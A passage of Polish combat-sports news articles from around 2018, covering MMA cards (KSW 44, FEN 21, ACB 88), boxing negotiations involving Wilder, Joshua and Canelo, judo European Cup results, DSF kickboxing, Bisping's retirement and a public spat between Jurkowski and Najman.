W Brisbane zaprezentuje się również Karol Celiński. Dla 37-latka będzie to czwarta walka stoczona dla ACB. Celiński wygrał trzy poprzednie starcia, w których pokonał kolejno: Łuksza Parobca, Vinny'ego Magalhaesa oraz Maxima Futina.

Na ACB 88 rywalem polskiego zawodnika będzie Luke Barnatt. 30-latek ma za sobą przygodę w UFC, a w ACB debiutował w starciu z Mamedem Khalidovem. Barnatt został znokautowany przez byłego mistrza KSW w zaledwie 21 sekund.

Fot. Marcin Held Facebook

KM

Wilder powiedział „tak”

Wielka walka w wadze ciężkiej coraz bliżej? Mistrz świata WBC wagi ciężkiej Deontay Wilder przyjął ofertę Anthony'ego Joshuy na pojedynek na stadionie Wembley w Londynie. Jesień może być niezwykle gorąca!

Cały bokserski świat z niecierpliwością wyczekuje starcia Joshuy z Wilderem. Dwóch wielkich mistrzów, którzy potrafią potężnie wstrząsnąć rywalem i są pierwszoplanowymi postaciami boksu. Mówiło się, że do walki Joshuy i Wildera dojdzie w 2019 roku. Jednak w ostatnich tygodniach nastąpił przełom. Najpierw menadżer Wildera Shelly Finkel podał, że Amerykanin jest gotowy przystać na podział zysków 60 do 40 na korzyść 28-latka z Watfordu. Ponadto, Wilder gotów był stanąć do rywalizacji na stadionie Wembley.

Mistrz świata WBC dał wyraźny sygnał, że wielka walka w wadze ciężkiej zbliża się wielkimi krokami. Teraz to potwierdził. Pojedynek o cztery pasy mistrzowskie w kategorii królewskiej miałby odbyć się jesienią na Wembley. – Jeśli Joshua będzie chciał, to oferta 50 milionów w przypadku walki w USA będzie dostępna. Zgodziłem się na ich propozycję na starcie w Wielkiej Brytanii. Piłka jest po jego stronie – poinformował Deontay Wilder.

Zapewne na jednym pojedynku się nie skończy. Oferta przedstawiona przez obóz Joshuy zawiera dwie walki – pierwszą w Anglii, zaś rewanż w Stanach Zjednoczonych. – Wysłaliśmy do Joshuy i rodziny Hearna informację, że zgadzamy się na ich warunki. Nie będziemy zdradzać kwot, ale propozycja jest na tyle dobra, że możemy ją zaakceptować – podał Shelly Finkel, menadżer Wildera.

Można powiedzieć, że Wilder dał „zielone światło” dla wielkiego wydarzenia. Teraz trzeba czekać na wiążące ustalenia. Kiedy należy się spodziewać walki, której stawkę będą pasy mistrzowskie IBF, WBA, WBO i WBC wagi ciężkiej? Prawdopodobny termin to 15 września. Możliwe również, że starcie odbędzie się w drugiej połowie września.

Joshua ma na koncie 21 wygranych. W ostatniej walce pokonał Josepha Parkera, który jako pierwszy wytrzymał z Brytyjczykiem pełen dystans. Z kolei Wilder ma na koncie 40 zwycięstw. W marcu uporał się z Luisem Ortizem.

KM

Polacy na trzecim stopniu podium

Anna Załęczna (+78kg) oraz Ksawery Morka (73kg) wywalczyli złote medale w Pucharze Europy w judo w Belgradzie. Ich dobre występy sprawiły, że biało-czerwoni zajęli trzecią pozycję w klasyfikacji końcowej zawodów.

Na starcie w Belgradzie zameldowało się 261 judoczek i judoków. Reprezentacja Polski liczyła dziesięć osób. Biało-czerwoni startowali ze zmiennym szczęściem, ale w ostatecznym rozrachunku osiągnięty wynik jest satysfakcjonujący.

Duży wkład w końcowy efekt miała Anna Załęczna, która po raz kolejny znalazła się na podium. W ubiegłym tygodniu wywalczyła brąz w Madrycie. W Belgradzie Polka zaczęła od wygranej przed czasem z Aleksandrą Dubroją. Zwycięstwo dało jej możliwość walki o medale. Na drodze Załęcznej stanęła Tina Radić, którą Polka pokonała w niecałą minutę. 22-letniej zawodniczce TKS Judo Toruń pozostał ostatni krok w postaci walki o złoto,  w której rozłożyła na łopatki Katarinę Luciję Vuković. – Puchar Europy jedzie ze mną do Torunia. To mój pierwszy wygrany turniej seniorski. Bardzo się cieszę – napisała na Facebooku Anna Załęczna.

Popisowy występ w Belgradzie zaliczył Ksawery Morka. 22-letni zawodnik broniący barw klubu Ryś Warszawa stoczył w Serbii sześć walk. Z pojedynku na pojedynek Morka był coraz bardziej zdeterminowany. Aż pięć walk rozstrzygnął na swoją korzyść przed czasem. Tylko Martin Vegvari, który w maju był drugi w Sarajewie postawił Polakowi trudne warunki, jednak ten i tak znalazł sposób na Węgra. 22-latek wygrał przez waza-ari. W starciu o złoto Morka pokonał Serba Ljubisę Kovacevicia.

Blisko podium był Łukasz Kiełbasiński (66kg). Polak start w Belgradzie rozpoczął od zwycięstwa, jednak w kolejnej walce pokonał go Bence Boros. Kiełbasiński trafił do repasaży, gdzie odniósł dwa zwycięstwa, które dały mu szansę rywalizacji o brąz. Denis Jurakić zdobył jedno waza ari, co pozwoliło cieszyć mu się z medalu.

Daria Tymann (78kg) poznała smak rywalizacji na poziomie seniorskim. W Belgradzie zajęła siódme miejsce, choć przegrała dwie walki. Tym razem Kacper Szczurowski (100kg) nie sięgnął po medal. Tydzień temu Polak był drugi w Madrycie, z kolei w Belgradzie zajął siódmą lokatę.

Pierwsze skrzypce w Pucharze Europy grali Serbowie. Gospodarze zdobyli 14 medali, w tym cztery złote. Za ich plecami Węgrzy z dorobkiem siedmiu krążków (dwa złote) i Polacy.

Fot. Anna Załęczna Facebook/EJU

KM

Nadchodzi oczekiwane starcie

Mariusz Pudzianowski i Karol Bedorf to najjaśniejsze gwiazdy gali KSW 44, która odbędzie się 9 czerwca w trójmiejskiej Ergo Arenie. O tym starciu mówiło się od dawna. W końcu okaże się, który z zawodników wagi ciężkiej jest lepszy.

Pudzianowski i Bedorf mają ogromny apetyt. Po porażkach z Peterem Grahamem i Marcinem Różalskim, "Pudziana" skazywano na emeryturę, jednak ten udowodnił, że może jeszcze rywalizować na dobrym poziomie. 41-latek ma passę trzech zwycięstw z rzędu. Przed czasem pokonał Pawła Mikołajuwa i Tyberiusza Kowalczyka, a ostatnio uporał się z Jay'em Silvą. Wiadomo, że nic nie trwa wiecznie i zapewne tak będzie z karierą byłego mistrza świata strongman, jednak 9 czerwca czeka go najważniejszy pojedynek w przygodzie z MMA. Wygrana z Bedorfem może okazać się przepustką do walki o pas mistrzowski, co z pewnością byłoby idealnym ukoronowaniem przygody z MMA 41-letniego Pudzianowskiego.

Trzy razy skutecznie tytułu najlepszego w wadze ciężkiej bronił Karol Bedorf. Polak stracił pas w grudniu 2016 roku na rzecz Fernando Rodriguesa Jr. W Ergo Arenie Bedorf zaprezentuje się po raz pierwszy od tamtej porażki. Urodzony w Szczecinie zawodnik miał wystąpić na gali KSW 39: Colosseum, ale zerwał ścięgno Achillesa. Z pewnością Bedorf jest głodny rywalizacji. Trzeba przyznać, że 34-latek ma większe doświadczenie w sportach walki niż jego starszy rywal. Dla Bedorfa pojedynek z Pudzianowskim ma być tylko przystankiem do starcia o pas mistrzowski. Walka wieczoru gali KSW 44 powinna mieć wyjątkowy smak. Czy tak będzie?

W Ergo Arenie zaprezentuje się Michał Materla, który zmierzy się z Martinem Zawadą. Ostatnio były mistrz KSW w wadze średniej padł ofiarą Scotta Askhama, który mocnymi kopnięciami na brzuch osłabił Polaka. Tym samym 29-latek przerwał passę trzech wygranych Materli. Martin Zawada również rysuje się jako wymagający przeciwnik. 34-letni reprezentant Niemiec udanie powrócił do KSW i w Łodzi pokonał Łukasza Jurkowskiego.

Kibice czekają na drugi występ w KSW Tomasza Oświecińskiego, który zmierzy się z Erko Junem. Ciekawie zapowiada się rywalizacja Klebera Koike Erbsta z Marianem Ziółkowskim.

Karta walk gali KSW 44:

Mariusz Pudzianowski vs Karol Bedorf

Kleber Koike Erbst vs Marian Ziółkowski

Michał Materla vs Martin Zawada

Tomasz Oświeciński vs Erko Jun

Filip Wolański vs Daniel Torres

Gracjan Szadziński vs Paul Redmond

Chris Fields vs Wagner Prado

Łukasz Rajewski vs Leo Zulić

Dawid Gralka vs Sebastian Przybysz

Fot. Mariusz Pudzianowski Facebook

KM

Rozstanie w zgodzie i wielkie wyzwanie

Marian Ziółkowski szykuje się do debiutu w federacji KSW. 9 czerwca rywalem popularnego "Golden Boya" w trójmiejskiej Ergo Arenie będzie Kleber Koike Erbst. To będzie kolejny pojedynek Ziółkowskiego w przeciągu dwóch tygodni. Wcześniej zawodnik stoczył walkę dla organizacji Fight Exclusive Night, z którą zakończył współpracę.

Bywa, że nieszczęście jednego jest szansą drugiego. Stwierdzenie to idealnie pasuje do sytuacji Mariana Ziółkowskiego. Podczas KSW 44 miało dojść do drugiego starcia pomiędzy Kleberem Koike Erbstem, a Marcinem Wrzoskiem o wakujący pas dywizji piórkowej. Polak doznał jednak kontuzji i w jego miejsce wskoczył "Golden Boy". Efektowny Koike Erbst może obawiać się Ziółkowskiego, który w ostatnim występie, gala FEN 21, w pierwszej rundzie znokautował Patryka Nowaka.

27-letni Polak w ostatnim czasie związany był z organizacją Fight Exclusive Night, dla której stoczył cztery pojedynki. Ziółkowski wykazał się 50% skutecznością, a stawką obu przegranych walk był tytuł mistrzowski wagi lekkiej. Przed zawodnikiem otworzyły się nowe możliwości, z których postara się skorzystać. Ale jak to mówią "nie zamknął za sobą drzwi". – Rozstanie nastąpiło w zgodzie. Marian Ziółkowski był zawodnikiem FEN od marca 2016 roku, stoczył pod jej szyldem cztery pojedynki, w tym dwa mistrzowskie w kategorii lekkiej. Federacja FEN w międzyczasie umożliwiła mu starty również dla innych organizacji, a z możliwości tej Marian Ziółkowski korzystał. FEN ma nadzieję, że na „nowej drodze życia” Marian będzie odnosił same sukcesy i wiele w tym sporcie osiągnie. Federacja doskonale go zna i wie, że tylko kwestią czasu jest, gdy zawodnik wejdzie na szczyt i będzie świętował w sporcie najwyższe laury. Drzwi dla Mariana w FEN są zawsze otwarte. Powodzenia! – czytamy w komunikacie federacji Fight Exclusive Night dotyczącym zakończenia współpracy z Marianem Ziółkowskim.

"Golden Boy" trafił do zawodowego MMA trzy lata później niż jego najbliższy rywal, ale stoczył już 27 walk, z których wygrał 23. Starcie Ziółkowskieog i Koike Erbsta to gwarancja efektowności i wspaniałego widowiska, bo obaj fighterzy przyzwyczaili, że swoje walki kończą przed czasem w niezwykłym stylu. 28-letni Japończyk Brazylijskiego pochodzenia ma świetną passę pięciu wygranych z rzędu, w tym trzech w KSW. Jeśli wygra, z pewnością stanie przed kolejną szansą na zdobycie pasa. Chyba, że plany pokrzyżuje mu Ziółkowski. Miał już pas PLMMA, w FEN przeszedł mu koło nosa, więc może zapoluje na pas w KSW?

Fot. Marian Ziółkowski Facebook

KM

A jednak rewanżu nie będzie?

Wiele mówiło się, że rewanżowa walka pomiędzy Saulem Alvarezem a Giennadijem Gołowkinem może odbyć się 15 września. Plan nie zostanie jednak zrealizowany ze względu na wymagania finansowe Kazacha. Z kolei 18 sierpnia szykuje się ciekawe starcie w wadze ciężkiej. Były mistrz świata Joseph Parker zmierzy się z Bryantem Jenningsem.

Droga do rewanżowego starcia "Canelo" i "GGG" nie jest usłana różami… Hit wagi średniej odbył się 17 września 2017 roku w T-Mobile Arenie w Las Vegas. Sędziowie ocenili pojedynek jako remisowy, co spotkało się z nieprzychylnymi opiniami. Wielu wskazywało na zwycięstwo Kazacha, a oliwy do ognia dolało punktowanie sędzi Adalaide Byrd. W jej oczach Alvarez zdecydowanie wygrał – 118:110, pozostała dwójka oceniła walkę następująco: remis 114:114 i na korzyść Gołowkina 115:113. Już wtedy wiadomo było, że od tematu rewanżu się nie ucieknie.

Osiągnięto porozumienie i 5 maja Alvarez oraz Gołowkin ponownie mieli pojawić się w ringu. Jednak pięściarze na dobre nie zaczęli przygotowań, a okazało się, że rewanżu… nie będzie. Powodem było wykrycie w organizmie Alvareza niedozwolonych substancji. Sprawą zajęła się Komisja Sportowa Stanu Nevada, która zawiesiła boksera na pół roku. Kara płynie od daty pierwszego pozytywnego testu, czyli 17 lutego. A więc szybkie obliczenia i ponownie można było planować rewanż. Mówiło się o 15 września, jednak wiadomo, że do starcia nie dojdzie. Negocjacje zakończyły się fiaskiem. Obóz Gołowkina chciał podziału 50 na 50, co nie spotkało się z akceptacją ze strony Meksykanina i jego przedstawicieli.

Jednakże 15 września to nadal aktualny termin kolejnej walki Alvareza, ale jego rywalem ma być Daniel Jacobs, który niedawno po zaciętym boju pokonał Macieja Sulęckiego. 31-letni Amerykanin otrzymał ofertę walki z "Canelo". Promotor Jacobsa Eddie Hearn potwierdza, że jego klient jest zainteresowany tym pojedynkiem.

Były mistrz czeka na kolejną walkę

31 marca Joseph Parker stracił pas mistrzowski WBO wagi ciężkiej na rzecz Anthony'ego Joshuy. Warto dodać, że Nowozelandczyk był pierwszym pięściarzem, który przetrwał z "AJ" pełen dystans.

Parker wróci na ring 18 sierpnia w Atlantic City, gdzie zmierzy się z Bryantem Jenningsem. Swego czasu Amerykanin miał okazję rywalizować o panowanie w kategorii królewskiej, jednak przegrał na punkty z Władimirem Kliczko. Ostatnio 33-letni Jennings ma dobrą passę – wygrał cztery pojedynki z rzędu.

Fot. Canelo Alvarez Facebook

KM

Cztery madryckie medale

Cztery medale wywalczyli Polacy w Pucharze Świata w judo w Madrycie. O krok od triumfu byli Wiktor Mrówczyński (73kg) i Kacper Szczurowski (100kg). Z kolei w Pucharze Europy juniorek w Leibnitz triumfowała Paulina Dziopa (+78kg).

Na starcie zawodów w Madrycie stanęło blisko 400 judoczek i judoków. Polska reprezentacja liczyła dziewięć osób. Jako pierwszy z medalu mógł cieszyć się Wiktor Mrówczyński, który stanął na drugim stopniu podium. Polak stoczył w Madrycie pięć pojedynków. Dwie z czterech wygranych walk Mrówczyński rozstrzygnął przed czasem. W finale zatrzymał go mistrz Europy juniorów z 2014 roku Francuz Benjamin Axus.

W tym roku Paula Kulaga (78kg) stała już na podium. Zawodniczka TDK Judo Trzcianka zajęła drugie miejsce w Warszawie. Start w Madrycie 22-letnia Kulaga rozpoczęła od dwóch wygranych pojedynków. W trzecim starciu na jej drodze stanęła Valeria Ferrari. Włoszka potrzebowała niecałej minuty, aby zapisać na swoim koncie zwycięstwo. Kulaga trafiła do repasaży, gdzie poradziła sobie z Patriciją Brolih i stanęła do walki o brązowy medal. Na Polkę czekała kolejna zawodniczka z Włoch – Assunta Galeone. Kulaga zapisała na swoim koncie waza-ari i dzięki temu stanęła na podium.

Siódme miejsca prześladowały w tym roku Annę Załęczną (+78kg), która na tychże lokatach plasowała się z Odivelas i Warszawie. W Madrycie odmiana – Załęczna znalazła się na podium. Szybka wygrana z Martą Anton Elias rozbudziła apetyt, ale Sarah Adlington pozbawiła Polkę szans na finał. 22-letnia Załęczna w starciu o brąz w niecałą minutę uporała się z Patricią Ferrer Bartulos.

Powoli z seniorskim startami oswaja się Kacper Szczurowski (100kg), który w tamtym roku miał okazję zaprezentować się w Katowicach, jednak bez powodzenia. 21-latek może być zadowolony ze swojego występu w Madrycie. W Pucharze Świata Szczurowski stoczył pięć walk, z których cztery wygrał. Polak "szedł jak burza" i pokonywał kolejnych rywali przed czasem. W finale zatrzymał go Zalan Ohat z Węgier.

W klasyfikacji medalowej Polska uplasowała się na dziewiątym miejscu. Najlepsi Niemcy z dorobkiem ośmiu krążków, za nimi Francja (6) i Hiszpania (12, ale tylko dwa złote przy trzech Niemców i Francuzów).

Złota Paulina

Pierwsze zwycięstwo w zawodach Pucharu Europy Juniorek odniosła Paulina Dziopa (+78kg). 19-letnia Polka triumfowała w Leibnitz. Dziopa wygrała cztery walki, w tym trzy przez ippon.

Siódme miejsce w Leibnitz zajął Jakub Pańkowski (73kg), dziewiąty był Kacper Kaczor (66kg).

Fot. EJU/pzjudo.pl

KM

Pokaz siły Jenela

Gala DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbyla się w Zabrzu przeszła do historii. W walce wieczoru Kamil Jenel udowodnił, że jest prawdziwym wojownikiem. Zawodnik Paco Team Katowice w wielkim stylu obronił pas mistrzowski. Tytuł zachował również Maksymilian Bratkowicz.

Kamil Jenel zapisał na swoim koncie drugą udaną obronę pasa mistrzowskiego w kategorii do 81kg. Zawodnik Paco Team Katowice przed czasem pokonał Eduarda Aleksanyana. Bułgar zaczął pojedynek zdecydowanie i wydawało się, że Jenel może mieć kłopoty. Polak przyjął wiele ciosów, ale przetrwał napór przeciwnika. W drugiej rundzie Jenel zaczął dochodzić do głosu, a w trzeciej rozbijał Aleksanyana, który ostatecznie nie był w stanie dalej walczyć.

W Zabrzu do pierwszej obrony pasa w wadze średniej stanął Maksymilian Bratkowicz. Mistrz miał do wyrównania rachunki z Bricem Kombou, z którym przegrał podczas gali DSF 8. Zmotywowany Bratkowicz nie pozostawił rywalowi żadnych szans. Wszyscy sędziowie wskazali na mistrza – 50:46.

Pas w kategorii do 71kg trafił w ręce Jarosława Daschke, który jednogłośną decyzją sędziów pokonał Rafała Dudka. Walka należała do tych z kategorii ciekawych. Kibice ani przez chwilę nie mogli narzekać na nudę. Energiczna, bogata w wymiany walka zakończyła się po myśli Daschke, który latającym kopnięciem zranił rywala. Dudek jednak wstał, ale jego rywal coraz częściej dochodził do głosu. Pięć niezwykle ciekawych rund i zwycięstwo Jarosława Daschke w Zabrzu.

Zdecydowanie w szeregi federacji DSF zawitała Iwona Nieroda. Na przestrzeni trzech rund Polka wypunktowała Yael Yvon. Udany debiut zaliczył również Michał Kita. Tym razem doświadczenie górowało nad młodością. Na przestrzeni trzech rund Kita pokonał Denisa Górniaka. 38-latek dyktował tempo walki, trafiał rywala kolejnymi kopnięciami. Na początku trzeciej odsłony Górniak odważnie zaatakował, jednak Kita kontrolował sytuację. Sędziowie nie mieli wątpliwości, komu należy się zwycięstwo.

Dwa lata temu Dominik Zadora musiał pogodzić się z porażką w starciu z Wojciechem Kosowskim. Tym razem ręce w geście triumfu mógł wznieść zawodnik pochodzący z Bolesławca. – I po raz kolejny… MAMY TO!!! Po mocnych 3 rundach jednogłośną decyzją wygrana na punkty – napisał Zadora na Facebooku.

Wyniki gali DSF 16: Śląskie Tąpnięcie:

Walka wieczoru: (K1, 81 kg 5x3min) Kamil Jenel pokonał  Eduarda Aleksanyana (TKO 3 RUNDA)

Walka o pas: (K1, 86 kg 5x3min) Maksymilian Bratkowicz pokonał Brice’a Kombou (DECYZJA)

Walka o pas: (K1, 71 kg 5x3min) Jarosław Daschke pokonał Rafała Dudka (DECYZJA)

(K1, +96 kg) Michał Kita pokonał Denisa Górniaka (DECYZJA)

(K1, 65 kg) Mateusz Rajewski pokonał Wojciecha Kazieczko (DECYZJA)

(K1, 77 kg) Dominik Zadora pokonał Wojciecha Kosowskiego (DECYZJA)

(K1, 56 kg) Iwona Nieroda pokonała Yael Yvon (DECYZJA)

(K1, 75 kg) Michał Ronkiewicz pokonał Adriana Mitu (DECYZJA)

 

(K1, +96kg) Dzaved Poturak pokonał Łukasza Lipniackiego (DECYZJA)

(K1, 60 kg) Dominik Tomica pokonał Łukasza Łanowskiego (DECYZJA)

(K1, 81 kg) Patryk Małecki pokonał Artura Giersa (DECYZJA)

(K1, 91 kg) Mateusz Janu pokonał Patryka Klapsię (TKO, 3 RUNDA)

(Muay Thai, 71 kg) Jakub Rajewski pokonal Kamila Piątkiewicza (DECYZJA)

Fot. Kamil Jenel Facebook

KM

Szykuje się Śląskie Tąpnięcie

Trzy walki o pasy mistrzowskie zobaczymy podczas zbliżającej się gali DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbędzie się 1 czerwca w Zabrzu.

Federacja nie zwalnia tempa. Dwa tygodnie temu w hali przy ul. Szwedzkiej 2/4 w Warszawie odbyła się gala DSF 15: Bastion Chwały. W walce wieczoru Jan Lodzik obronił pas mistrzowski wagi piórkowej, pokonując Yury'a Zhukovsky'ego. Udanie w organizacji DSF zadebiutował Maciej Jewtuszko, który pokonał Roberta Krasonia. DSF 15 to już historia, teraz czas na kolejne uderzenie!

Przenosimy się do Zabrza, bo właśnie tam – w zabytkowej kopalni węgla kamiennego Guido odbędzie się gala DSF 16: Śląskie Tąpnięcie. W walce wieczoru zaprezentuje się Kamil Jenel, który będzie bronił pasa mistrzowskiego w kategorii do 81kg. Polak zmierzy się z Eduardem Aleksanyanem. Przez długi czas dywagowano, czy w Zabrzu dojdzie do rewanżu Jenela z Kamilem Rutą, któremu zawodnik Paco Team Katowice odebrał pas. Jeśli czempion zachowa tytuł, istnieje ogromne prawdopodobieństwo, że w następnej walce spotka się z mistrzem świata z Turcji z 2013 roku. Warto dodać, że w pierwszej obronie pasa, po zaciętym starciu, Jenel pokonał Eduarda Andronache.

W Nowym Dworze Mazowieckim Brice Kombou świętował zwycięstwo nad Piotrem Strusem. Po morderczej wymianie, sędziowie wskazali na Kameruńczyka. Tym samym Kombou zapracował na starcie o pas. Jego rywalem będzie Maksymilian Bratkowicz, który stanie do pierwszej obrony tytułu w wadze średniej (86kg). W lutym zawodnik Gym Fight Wrocław pokonał Mateusza Kubiszyna, któremu zrewanżował się za porażkę z 2016 roku i sięgnął po pas. Z Kombou mistrz również ma rachunki do wyrównania. Kameruńczyk z niemieckim paszportem okazał się lepszy od Polaka podczas gali DSF 8. – Jestem zwarty i gotowy, wyczekuje dnia dziecka – podkreśla Maksymilian Bratkowicz.

W marcu Jarosław Daschke podpisał kontrakt z federacją DSF. W Zabrzu wielokrotny mistrz Polski w kickboxingu zmierzy się z Rafałem Dudkiem o pas w wadze do 71kg. Sądeczanin, mający na koncie pojedynki dla Glory, na gali DSF: Twierdza wygrał  Zhorą Akopyanem. Zarówno Daschke, jak i Dudek to doświadczeni zawodnicy z bogatym dorobkiem. Kto wzbogaci swój stan posiadania?

Pierwszą walkę dla DSF stoczy Michał Kita. Jego rywalem będzie Denis "Flinston" Górniak.

Karta walk DSF 16: Śląskie Tąpnięcie:

Jakub Rajewski –  Kamil Piątkiewicz Muay Thai, 71 kg

Patryk Klapsia – Mateusz Janu K1, 91 kg

Damian Pająk – Patryk Małecki K1, 81 kg

Dominik Tomica –  Łukasz Łanowski (POLSKA)  K1, 60 kg

Walki PRO:

Iwona Nieroda – Yael Yvon (AUSTRIA)  K1, 56 kg

Mateusz Rajewski – Wojciech Kazieczko K1, 65 kg

Michał Ronkiewicz – Adrian Mitu (RUMUNIA) K1, 75 kg

Dominika Zadora – Wojciech Kosowski K1, 77 kg

Michał Kita – Denis Górniak  K1, +96 kg  

WALKA O PAS DSF

Rafał Dudek – Jarosław Daschke K1, 71 kg

Maksymilian Bratkowicz – Brice Kombou (KAMERUN)  K1, 86 kg

WALKA WIECZORU O PAS DSF

Kamil Jenel – Eduard Aleksanyan K1, 81 kg

KM

Bisping przeszedł na sportową emeryturę

Były mistrz UFC w wadze średniej Michael Bisping podjął decyzję o zakończeniu kariery. 39-letni Anglik już wcześniej rozważał taki krok.

Bisping przygodę z UFC rozpoczął w 2006 roku. W ciągu dwunastu lat stoczył dla najlepszej organizacji MMA na świecie 29 walk, z których 20 wygrał. 4 czerwca 2016 (UFC 199) stanął do starcia o pas wagi średniej. Bisping wskoczył w miejsce kontuzjowanego Chrisa Weidmana i w pierwszej rundzie pokonał Luke'a Rockholda. Warto dodać, że dwa lata wcześniej Amerykanin rozprawił się z Anglikiem. Bisping tylko raz skutecznie bronił mistrzowskiej zdobyczy. W październiku 2016 roku po pięciorundowym boju pokonał Dana Hendersona. W kolejnym starciu górą był Georges St. Pierre. Ostatni pojedynek Bisping stoczył w listopadzie ubiegłego roku (UFC Fight Night 122). 39-letni Anglik przegrał przez nokaut z Kelvinem Gastelumem.

W ostatnim czasie w głowie Bispinga kiełkowała myśli o pożegnalnej walce, jednak prawdopodobnie do niej nie dojdzie. Były mistrz wagi średniej odchodzi na sportową emeryturę. Powodem są problemy z okiem, które pojawiły się w 2013 roku. Podczas gali UFC on FX 7 Bisping przegrał z Vitorem Belfortem. Jedno z kopnięć ze strony Brazylijczyka doprowadziło do odklejenia siatkówki w oku Bispinga. Ale w ostatnich miesiącach u Anglika wystąpiły problemy z drugim okiem. – Po walce z Gastelumem poszedłem na imprezę z całym moim zespołem. Przebywaliśmy w klubie. Było ciemno, ale kątem zdrowego oka widziałem jakieś błyski. Myślę – co się dzieje? – opowiada Michael Bisping.

Anglik udał się do lekarza, który stwierdził, że doszło do odłączenia ciała szklistego. Bisping nie ukrywa przerażenia. Przez długi czas bił się z myślami, jednak po obejrzeniu filmu "Jorneyman" podjął decyzję o zakończeniu kariery. – Zdobyłem pas, wygrałem mnóstwo walk, zrobiłem to, co postanowiłem. Jaki jest sens tracenia energii? Musisz wiedzieć, kiedy odejść. Mam prawie 40 lat, nadszedł czas. Chcę powiedzieć: dziękuję mojej żonie. Bez niej by się to nie stało. Moim dzieciom, mojemu tacie i oczywiście wszystkim z Wielkiej Brytanii i całego świata, którzy mnie wspierali – powiedział Bisping.

Fot. Michael Bisping Facebook

KM

Wymiana Jurkowskiego i Najmana

Narodowa Gala Boksu na stadionie PGE Narodowy w Warszawie miała być wielkim świętem. Wydarzenie spotkało się z wieloma krytycznymi opiniami. Również znany zawodnik MMA i komentator Łukasz Jurkowski dorzucił "swoje trzy grosze".

Legendarny Michael Buffer zapowiadający kolejnych zawodników, ogromny stadion, czołowi polscy pięściarze i zawodnicy K-1. Miała być uczta dla fanów sportów walki, a PGE Narodowy raził pustymi miejscami. Narodowa Gala Sportu była mocno promowana, jednak końcowy efekt rozczarował. Mocno oberwało się Marcinowi Najmanowi, który odpowiadał za organizację przedsięwzięcia.

W gronie krytykujących NGS znalazł się Łukasz Jurkowski. – Fakt jest taki, że PGE Narodowy świecił pustkami, jak pojemnik ze wstydem organizatora tej gali. Cytując klasyka „spoko spoko, zaraz się rozkręci” też nie znalazło odzwierciedlenia, bo jakoś specjalnie bliżej głównych walk kibiców nie przybywało. Nie pomogło nawet sprzedawanie biletów przez serwisy z rabatami i rozdawanie ich gdzie popadnie. Szkoda… serio. Szkoda mi wszystkich zawodników, którzy brali udział w tym przedstawieniu, bo to mogła być dla nich wielka chwila w sportowej karierze. Wiem, co mówię, bo jutro mija dokładnie rok (27 maja 2017) kiedy wychodziłem do walki przy 57 500 tysiącach kibiców. Niezapomniane chwilę. Wielu z bohaterów NGB ciężko trenowało aby zaprezentować się z dobrej strony przed kibicami i widzami jakby nie było telewizji publicznej. Wiem, bo widziałem jaką robotę zrobili Artur Szpilka, Izu czy Ewka Piątkowska – napisał na swoim blogu laczynaspasja.pl/juras-blog/. Przy okazji „Juras” nie szczędził cierpkich słów Marcinowi Najmanowi, którego określił mianem „nieudacznika”.

„El Testosteron” nie pozostał obojętny na krytykę ze strony Łukasza Jurkowskiego. Bokser wytoczył „ciężkie działa”. – Niesamowite, że damski bokser Łukasz Jurkowski ma czelność pisać coś o Narodowej Gali Boksu i umieszczać tam słowo wstyd. Najpierw prawie zabił swoją dziewczynę na motorze, później jego dziewczyna oznajmiła światu kim naprawdę jest Łukasz Jurkowski. Z pozdrowieniem dla wszystkich publikujących jego wypociny na nasz temat. Czyli temat Polskiego Boksu – w taki sposób do sprawy odniósł się na Facebooku Marcin Najman.

Na odpowiedź Jurkowskiego nie trzeba było długo czekać… – Nie będę zniżał się do poziomu, jaki prezentuje zarówno sportowo jak i prywatnie. Dno Dna. Co do zaś wskazanych oskarżeń ze strony "mistrza ringu" informuję, iż sprawa zniesławienia na którą sie powołuje juz niedługo znajdzie swój finał w sądzie, a odpowiednia dokumentacja została złożona. Przy okazji zaznaczam, iż to co robisz to zwykłe pomówienie. Postaram się abyś wspomógł finansowo wybrany przez Nas cel charytatywny – odpowiedział „Juras” na Facebooku.

Jak widać na przykładzie powyższej „wymiany”, Narodowa Gala Boksu stała się przedmiotem gorącej dyskusji.  Ale dopiero po jej zakończeniu. W trakcie zabrakło „ognia”.

KM

Kto zostanie królem Wrocławia?

Gala FEN 21 we wrocławskiej Hali Orbita ma być widowiskiem sportowym najwyższego rzędu. Czy tak będzie? Przekonamy się o tym już 25 maja. W walce wieczoru o pas wagi średniej w walce na zasadach MMA zmierzą się Thiago Vieira i Andrzej Grzebyk.

26-letni Brazylijczyk będzie miał okazję poznać smak rywalizacji w Polsce. Szybki i do bólu skuteczny – taki jest popularny "Mostro". Po walkach z udziałem Vieiry należy spodziewać się efektowności. Brazylijczyk wygrał dziesięć pojedynków w karierze i wszystkie zwycięstwa zanotował przed czasem. Na swoim koncie ma również dwie porażki. Jeśli Andrzej Grzebyk chce zdobyć pas mistrzowski, w walce z Vieirą będzie musiał wspiąć się na szczyt. A że potrafi pobudzić publiczność udowodnił podczas gali FEN 20 w Warszawie, gdzie pokonał przez nokaut Anatolija Litwoinova. 27-letni Polak stoczy piąty pojedynek dla wrocławskiej organizacji. Dotychczas wygrał trzy starcia, czym utorował sobie drogę do pojedynku o pas. Zderzenie Vieiry i Grzebyka zapowiada się niezwykle gorąco. Polski zawodnik również walczy ofensywnie – osiem z dwunastu walk wygrał przed czasem.

We Wrocławiu dojdzie do starcia o pas mistrzowski K-1 w kategorii do 77kg pomiędzy Łukaszem Wierzbickim a Łukaszem Pławeckim. Zawodnik z Dolnego Śląska ma bogaty dorobek, w którym widnieje m.in. mistrzostwo Europy oraz tytuł międzynarodowego mistrza Polski w K-1. Na gali FEN 12 Wierzbicki stoczył niezwykle zacięty bój z Zakarią Baitarem. Sędziowie wskazali na Polaka, który zdobył tymczasowy pas FEN. Następnie Wierzbicki stworzył kapitalne widowisko z Pawłem Biszczakiem, jednak z triumfu cieszył się rywal. We Wrocławiu Wierzbicki chce ponownie znaleźć się w posiadaniu pasa, ale Pławecki nie ułatwi mu zadania. Doświadczony zawodnik zadebiutuje w organizacji FEN i będzie celował w kolejny pas. W ostatnim czasie zapisał na swoim koncie tytuły mistrzowskie w organizacjach MFC Gladiator i MFC. Warto dodać, że starcie Wierzbickiego z Pławeckim będzie jedynym pojedynkiem K-1 podczas całej gali FEN 21.

